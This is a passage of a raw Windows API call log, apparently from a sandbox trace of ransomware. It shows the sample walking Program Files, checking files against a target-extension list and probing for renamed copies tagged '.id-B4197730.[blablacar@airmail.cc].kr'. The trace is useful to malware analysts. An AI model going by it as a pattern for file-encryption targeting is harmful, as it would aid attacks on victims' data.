Size=0x10) returned 0x47a4b0 [0174.609] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bcf18 [0174.609] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a5a0 [0174.609] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x3f8e020 [0174.612] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a648 [0174.612] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a648, Size=0x20) returned 0x45dd58 [0174.612] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a5b8 [0174.612] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a5b8, Size=0x20) returned 0x45dbf0 [0174.612] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0174.612] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0174.612] Wow64DisableWow64FsRedirection (in: OldValue=0x33bff50 | out: OldValue=0x33bff50*=0x0) returned 1 [0174.612] lstrlenW (lpString="kernel32.dll") returned 12 [0174.612] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dd58 | out: hHeap=0x420000) returned 1 [0174.612] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.612] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dbf0 | out: hHeap=0x420000) returned 1 [0174.612] Sleep (dwMilliseconds=0x64) [0174.880] Sleep (dwMilliseconds=0x64) [0175.125] Sleep (dwMilliseconds=0x64) [0175.436] Sleep (dwMilliseconds=0x64) [0175.738] lstrcmpiW (lpString1=".sys", lpString2=".kr") returned 1 [0175.738] lstrlenW (lpString="hiberfil.sys") returned 12 [0175.738] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.184] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.184] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.184] lstrlenW (lpString=".doc") returned 4 [0176.184] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0176.184] lstrlenW (lpString=".docx") returned 5 [0176.185] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0176.185] lstrlenW (lpString=".pdf") returned 4 [0176.185] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0176.185] lstrlenW (lpString=".xls") returned 4 [0176.185] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0176.185] lstrlenW (lpString=".xlsx") returned 5 [0176.185] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0176.185] lstrlenW (lpString=".ppt") returned 4 [0176.185] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0176.185] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.185] lstrlenW (lpString=".zip") returned 4 [0176.185] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0176.185] lstrlenW (lpString=".rar") returned 4 [0176.185] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0176.185] lstrlenW (lpString=".bz2") returned 4 [0176.185] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0176.185] lstrlenW (lpString=".7z") returned 3 [0176.185] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0176.185] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.185] lstrlenW (lpString=".dbf") returned 4 [0176.185] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0176.185] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.185] lstrlenW (lpString=".1cd") returned 4 [0176.185] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0176.185] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.185] lstrlenW (lpString=".jpg") returned 4 [0176.185] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0176.185] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.185] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.185] lstrlenW (lpString=".doc") returned 4 [0176.185] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0176.185] lstrlenW (lpString=".docx") returned 5 [0176.185] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0176.186] lstrlenW (lpString=".pdf") returned 4 [0176.186] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0176.186] lstrlenW (lpString=".xls") returned 4 [0176.186] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0176.186] lstrlenW (lpString=".xlsx") returned 5 [0176.186] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0176.186] lstrlenW (lpString=".ppt") returned 4 [0176.186] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0176.186] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.186] lstrlenW (lpString=".zip") returned 4 [0176.186] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0176.186] lstrlenW (lpString=".rar") returned 4 [0176.186] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0176.186] lstrlenW (lpString=".bz2") returned 4 [0176.186] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0176.186] lstrlenW (lpString=".7z") returned 3 [0176.186] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0176.186] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.186] lstrlenW (lpString=".dbf") returned 4 [0176.186] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0176.186] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.186] lstrlenW (lpString=".1cd") returned 4 [0176.186] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0176.186] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0176.186] lstrlenW (lpString=".jpg") returned 4 [0176.186] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0176.186] Sleep (dwMilliseconds=0x64) [0176.626] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0176.626] lstrlenW (lpString="ApiClient.dll") returned 13 [0176.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0176.626] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=162880) returned 1 [0176.626] CloseHandle (hObject=0x3b8) returned 1 [0176.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0176.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.627] lstrlenW (lpString=".doc") returned 4 [0176.627] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0176.627] lstrlenW (lpString=".docx") returned 5 [0176.627] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0176.627] lstrlenW (lpString=".pdf") returned 4 [0176.627] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0176.627] lstrlenW (lpString=".xls") returned 4 [0176.627] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0176.627] lstrlenW (lpString=".xlsx") returned 5 [0176.627] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0176.627] lstrlenW (lpString=".ppt") returned 4 [0176.627] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0176.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.627] lstrlenW (lpString=".zip") returned 4 [0176.627] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0176.627] lstrlenW (lpString=".rar") returned 4 [0176.627] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0176.627] lstrlenW (lpString=".bz2") returned 4 [0176.627] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0176.627] lstrlenW (lpString=".7z") returned 3 [0176.627] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0176.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.628] lstrlenW (lpString=".dbf") returned 4 [0176.628] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0176.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.628] lstrlenW (lpString=".1cd") returned 4 [0176.628] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0176.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.628] lstrlenW (lpString=".jpg") returned 4 [0176.628] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0176.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.628] lstrlenW (lpString=".doc") returned 4 [0176.628] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0176.628] lstrlenW (lpString=".docx") returned 5 [0176.628] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0176.628] lstrlenW (lpString=".pdf") returned 4 [0176.628] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0176.628] lstrlenW (lpString=".xls") returned 4 [0176.628] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0176.628] lstrlenW (lpString=".xlsx") returned 5 [0176.628] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0176.628] lstrlenW (lpString=".ppt") returned 4 [0176.628] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0176.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.628] lstrlenW (lpString=".zip") returned 4 [0176.628] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0176.628] lstrlenW (lpString=".rar") returned 4 [0176.629] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0176.629] lstrlenW (lpString=".bz2") returned 4 [0176.629] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0176.629] lstrlenW (lpString=".7z") returned 3 [0176.629] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0176.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.629] lstrlenW (lpString=".dbf") returned 4 [0176.629] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0176.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.629] lstrlenW (lpString=".1cd") returned 4 [0176.629] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0176.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0176.629] lstrlenW (lpString=".jpg") returned 4 [0176.629] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0176.629] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0176.629] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0176.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0176.985] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=656088) returned 1 [0176.985] CloseHandle (hObject=0x3c4) returned 1 [0176.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0176.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.986] lstrlenW (lpString=".doc") returned 4 [0176.986] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0176.986] lstrlenW (lpString=".docx") returned 5 [0176.986] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0176.986] lstrlenW (lpString=".pdf") returned 4 [0176.986] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0176.986] lstrlenW (lpString=".xls") returned 4 [0176.986] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0176.986] lstrlenW (lpString=".xlsx") returned 5 [0176.986] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0176.986] lstrlenW (lpString=".ppt") returned 4 [0176.986] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0176.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.986] lstrlenW (lpString=".zip") returned 4 [0176.986] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0176.986] lstrlenW (lpString=".rar") returned 4 [0176.986] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0176.986] lstrlenW (lpString=".bz2") returned 4 [0176.986] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0176.986] lstrlenW (lpString=".7z") returned 3 [0176.986] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0176.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.986] lstrlenW (lpString=".dbf") returned 4 [0176.986] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0176.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.986] lstrlenW (lpString=".1cd") returned 4 [0176.986] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0176.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.987] lstrlenW (lpString=".jpg") returned 4 [0176.987] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0176.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.987] lstrlenW (lpString=".doc") returned 4 [0176.987] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0176.987] lstrlenW (lpString=".docx") returned 5 [0176.987] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0176.987] lstrlenW (lpString=".pdf") returned 4 [0176.987] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0176.987] lstrlenW (lpString=".xls") returned 4 [0176.987] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0176.987] lstrlenW (lpString=".xlsx") returned 5 [0176.987] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0176.987] lstrlenW (lpString=".ppt") returned 4 [0176.987] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0176.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.987] lstrlenW (lpString=".zip") returned 4 [0176.987] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0176.987] lstrlenW (lpString=".rar") returned 4 [0176.987] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0176.987] lstrlenW (lpString=".bz2") returned 4 [0176.987] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0176.987] lstrlenW (lpString=".7z") returned 3 [0176.987] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0176.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.987] lstrlenW (lpString=".dbf") returned 4 [0176.987] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0176.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.987] lstrlenW (lpString=".1cd") returned 4 [0176.987] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0176.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0176.988] lstrlenW (lpString=".jpg") returned 4 [0176.988] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0176.988] lstrcmpiW (lpString1=".mui", lpString2=".kr") returned 1 [0176.988] lstrlenW (lpString="sqlxmlx.rll.mui") returned 15 [0176.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0177.241] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=18432) returned 1 [0177.258] CloseHandle (hObject=0x3f0) returned 1 [0177.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0177.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.270] lstrlenW (lpString=".doc") returned 4 [0177.270] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0177.270] lstrlenW (lpString=".docx") returned 5 [0177.270] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0177.270] lstrlenW (lpString=".pdf") returned 4 [0177.270] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0177.270] lstrlenW (lpString=".xls") returned 4 [0177.270] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0177.270] lstrlenW (lpString=".xlsx") returned 5 [0177.270] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0177.270] lstrlenW (lpString=".ppt") returned 4 [0177.270] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0177.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.270] lstrlenW (lpString=".zip") returned 4 [0177.270] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0177.270] lstrlenW (lpString=".rar") returned 4 [0177.270] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0177.270] lstrlenW (lpString=".bz2") returned 4 [0177.270] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0177.270] lstrlenW (lpString=".7z") returned 3 [0177.270] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0177.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.270] lstrlenW (lpString=".dbf") returned 4 [0177.270] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0177.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.270] lstrlenW (lpString=".1cd") returned 4 [0177.270] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0177.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.271] lstrlenW (lpString=".jpg") returned 4 [0177.271] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0177.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.271] lstrlenW (lpString=".doc") returned 4 [0177.271] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0177.271] lstrlenW (lpString=".docx") returned 5 [0177.271] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0177.271] lstrlenW (lpString=".pdf") returned 4 [0177.271] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0177.271] lstrlenW (lpString=".xls") returned 4 [0177.271] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0177.271] lstrlenW (lpString=".xlsx") returned 5 [0177.271] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0177.271] lstrlenW (lpString=".ppt") returned 4 [0177.271] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0177.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.271] lstrlenW (lpString=".zip") returned 4 [0177.271] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0177.271] lstrlenW (lpString=".rar") returned 4 [0177.271] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0177.271] lstrlenW (lpString=".bz2") returned 4 [0177.271] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0177.271] lstrlenW (lpString=".7z") returned 3 [0177.271] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0177.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.271] lstrlenW (lpString=".dbf") returned 4 [0177.271] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0177.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.271] lstrlenW (lpString=".1cd") returned 4 [0177.271] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0177.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0177.271] lstrlenW (lpString=".jpg") returned 4 [0177.272] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0177.272] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0177.272] lstrlenW (lpString="lcms.dll") returned 8 [0177.272] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0177.273] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=233536) returned 1 [0177.273] CloseHandle (hObject=0x3f0) returned 1 [0177.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0177.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.273] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.273] lstrlenW (lpString=".doc") returned 4 [0177.273] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.273] lstrlenW (lpString=".docx") returned 5 [0177.273] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0177.273] lstrlenW (lpString=".pdf") returned 4 [0177.273] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.273] lstrlenW (lpString=".xls") returned 4 [0177.273] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.273] lstrlenW (lpString=".xlsx") returned 5 [0177.273] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0177.273] lstrlenW (lpString=".ppt") returned 4 [0177.274] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.274] lstrlenW (lpString=".zip") returned 4 [0177.274] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.274] lstrlenW (lpString=".rar") returned 4 [0177.274] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.274] lstrlenW (lpString=".bz2") returned 4 [0177.274] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.274] lstrlenW (lpString=".7z") returned 3 [0177.274] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.274] lstrlenW (lpString=".dbf") returned 4 [0177.274] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.274] lstrlenW (lpString="C:\\Program 